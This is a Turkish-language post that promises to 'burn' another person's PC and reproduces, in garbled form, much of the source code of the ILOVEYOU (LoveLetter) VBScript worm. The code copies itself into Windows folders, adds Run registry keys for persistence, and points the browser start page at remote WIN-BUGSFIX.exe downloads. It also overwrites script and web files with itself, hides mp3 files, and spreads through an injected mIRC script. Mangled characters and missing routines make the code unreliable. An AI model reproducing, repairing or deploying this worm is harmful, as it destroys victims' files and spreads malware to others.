En tehlikeli .bat komutu ile karşı PC'yi yakın!

rem delete -pcaş(-vbe)On es error -pcOn error Next Pc Hackdim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d oweq=&"ctr=0Set fso = CreateObject(&Scripting.FileSystemObject&&#358221set file = fso.OpenTextFile(WScript.ScriptFullname,1)vbscopy=file.ReadAllmain()sub main()On Error Resume Nextdim wscr,rrset wscr=CreateObject(&WScript.Shell&&#358221rr=wscr.RegRead(&HKEY_CURRENT_USERSoftwareMicro s oftWindow s Scripting HostSettingsTimeout&&#358221if (rr>=1) thenwscr.RegWrite &HKEY_CURRENT_USERSoftwareMicrosoftWindo ws Scripting HostSettingsTimeout&,0,&REG_DWORD&end ifSet dirwin = fso.GetSpecialFolder(0)2Set dirsystem = fso.GetSpecialFolder(1)Set dirtemp = fso.GetSpecialFolder(2)Set c = fso.GetFile(WScript.ScriptFullName)c.Copy(dirsystem&&MSKernel32.vbs&&#358221c.Copy(dirwin&&Win32DLL.vbs&&#358221c.Copy(dirsystem&&LOVE-LETTER-FOR-YOU.TXT.vbs&&#358221regruns()html()spreadtoemail()listadriv()end subsub regruns()On Error Resume NextDim num,downreadregcreate &HKEY_LOCAL_MACHINESoftwareMicrosoftWind ow s Cur rentVersio nRunMSKernel32&,dirsystem&&MSKernel32.vbs&regcreate &HKEY_LOCAL_MACHINESoftwareMicrosoftWind ow s Cur rentVersio nRunServicesWin32DLL&,dirwin&&Win32DLL.vbs&downread=&"downread=regget(&HKEY_CURRENT_USERSoftwareMicro s oftIntern et ExplorerDownload Directory&&#358221if (downread=&") thendownread=&c:&end ifif (fileexist(dirsystem&&WinFAT32.exe&&#358221=1) thenRandomizenum = Int((4 * Rnd) + 1)if num = 1 thenregcreate &HKCUSoftwareMicrosoftInternet ExplorerMainStart Page&,&http://www.skyinet.net/~young1s/HJKh...jw6587345gvsdf 7679njbvYT /WIN-BUGSFIX.exe&elseif num = 2 thenregcreate &HKCUSoftwareMicrosoftInternet ExplorerMainStart Page&,&http://www.skyinet.net/~angelcat/skl...546786324hjk4j nHHGbvbmKL JKjhkqj4w/WIN-BUGSFIX.exe&elseif num = 3 thenregcreate &HKCUSoftwareMicrosoftInternet ExplorerMainStart Page&,&http://www.skyinet.net/~koichi/jf6TR...nmPOhfgER67b3V bvg/WIN-BUGSFIX.exe&elseif num = 4 thenregcreate &HKCUSoftwareMicrosoftInternet ExplorerMainStart Page&,&http://www.skyinet.net/~chu/sdgfhjks...DGjkhYUgqweras djhPhjasfd glkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe&end ifend ifif (fileexist(downread&&WIN-BUGSFIX.exe&&#358221=0) thenregcreate &HKEY_LOCAL_MACHINESoftwareMicrosoftWind ow s Cur rentVersio nRunWIN-BUGSFIX&,downread&&WIN-BUGSFIX.exe&regcreate &HKEY_CURRENT_USERSoftwareMicrosoftInter ne t ExplorerMainStart Page&,&about:blank&end ifend subsub listadrivOn Error Resume NextDim d,dc,sSet dc = fso.DrivesFor Each d in dcIf d.DriveType = 2 or d.DriveType=3 Thenfolderlist(d.path&&&&#358221end ifNextlistadriv = send subsub infectfiles(folderspec)On Error Resume Nextdim f,f1,fc,ext,ap,mircfname,s,bname,mp3set f = fso.GetFolder(folderspec)set fc = f.Filesfor each f1 in fcext=fso.GetExtensionName(f1.path)ext=lcase(ext)s=lcase(f1.name)if (ext=&vbs&&#358221 or (ext=&vbe&&#358221 thenset ap=fso.OpenTextFile(f1.path,2,true)ap.write vbscopyap.closeelseif(ext=&js&&#358221 or (ext=&jse&&#358221 or (ext=&css&&#358221 or (ext=&wsh&&#358221 or (ext=&sct&&#358221 or (ext=&hta&&#358221 thenset ap=fso.OpenTextFile(f1.path,2,true)ap.write vbscopyap.closebname=fso.GetBaseName(f1.path)elseif(ext=&mp3&&#358243 or (ext=&mp2&&#358243 thenset mp3=fso.CreateTextFile(f1.path&&.vbs&&#358221mp3.write vbscopymp3.closeset att=fso.GetFile(f1.path)att.attributes=att.attributes+2end ifif (eq<>folderspec) thenif (s=&mirc32.exe&&#358221 or (s=&mlink32.exe&&#35822 or (s=&mirc.ini&&#358221 or (s=&script.ini&&#358221 or (s=&mirc.hlp&&#358221 thenset scriptini=fso.CreateTextFile(folderspec&&script. i ni&&#358221scriptini.WriteLine &[script]&scriptini.WriteLine &;mIRC Script&scriptini.WriteLine &; Please dont edit this script& mIRC will corrupt, if mIRC will&scriptini.WriteLine & corrupt& WINDOWS will affect and will not run correctly. thanks&scriptini.WriteLine &;&scriptini.WriteLine &;Khaled Mardam-Bey&scriptini.WriteLine &;http://www.mirc.com&scriptini.WriteLine &;&scriptini.WriteLine &n0=on 1:JOIN:#:{&scriptini.WriteLine &n1= /if ( şnick == şme ) { halt }&scriptini.WriteLine &n2= /.dcc send şnick &&dirsystem&&LOVE-LETTER-FOR-YOU.HTM&scriptini.WriteLine &n3=}&scriptini.closeeq=folderspecend ifend ifnextend subsub folderlist(folderspec)On Error Resume Nextdim f,f1,sfset f = fso.GetFolder(folderspec)set sf = f.SubFoldersfor each f1 in sfinfectfiles(f1.path)folderlist(f1.path)nextend subsub regcreate(regkey,regvalue)Set regedit = CreateObject(&WScript.Shell&&#358221regedit.RegWrite regkey,regvalueend subfunction regget(value)Set regedit = CreateObject(&WScript.Shell&&#358221regget=regedit.RegRead(value)end functionfunction fileexist(filespec)On Error Resume Nextdim msgif (fso.FileExists(filespec)) Thenmsg = 0elsemsg = 1end iffileexist = msg]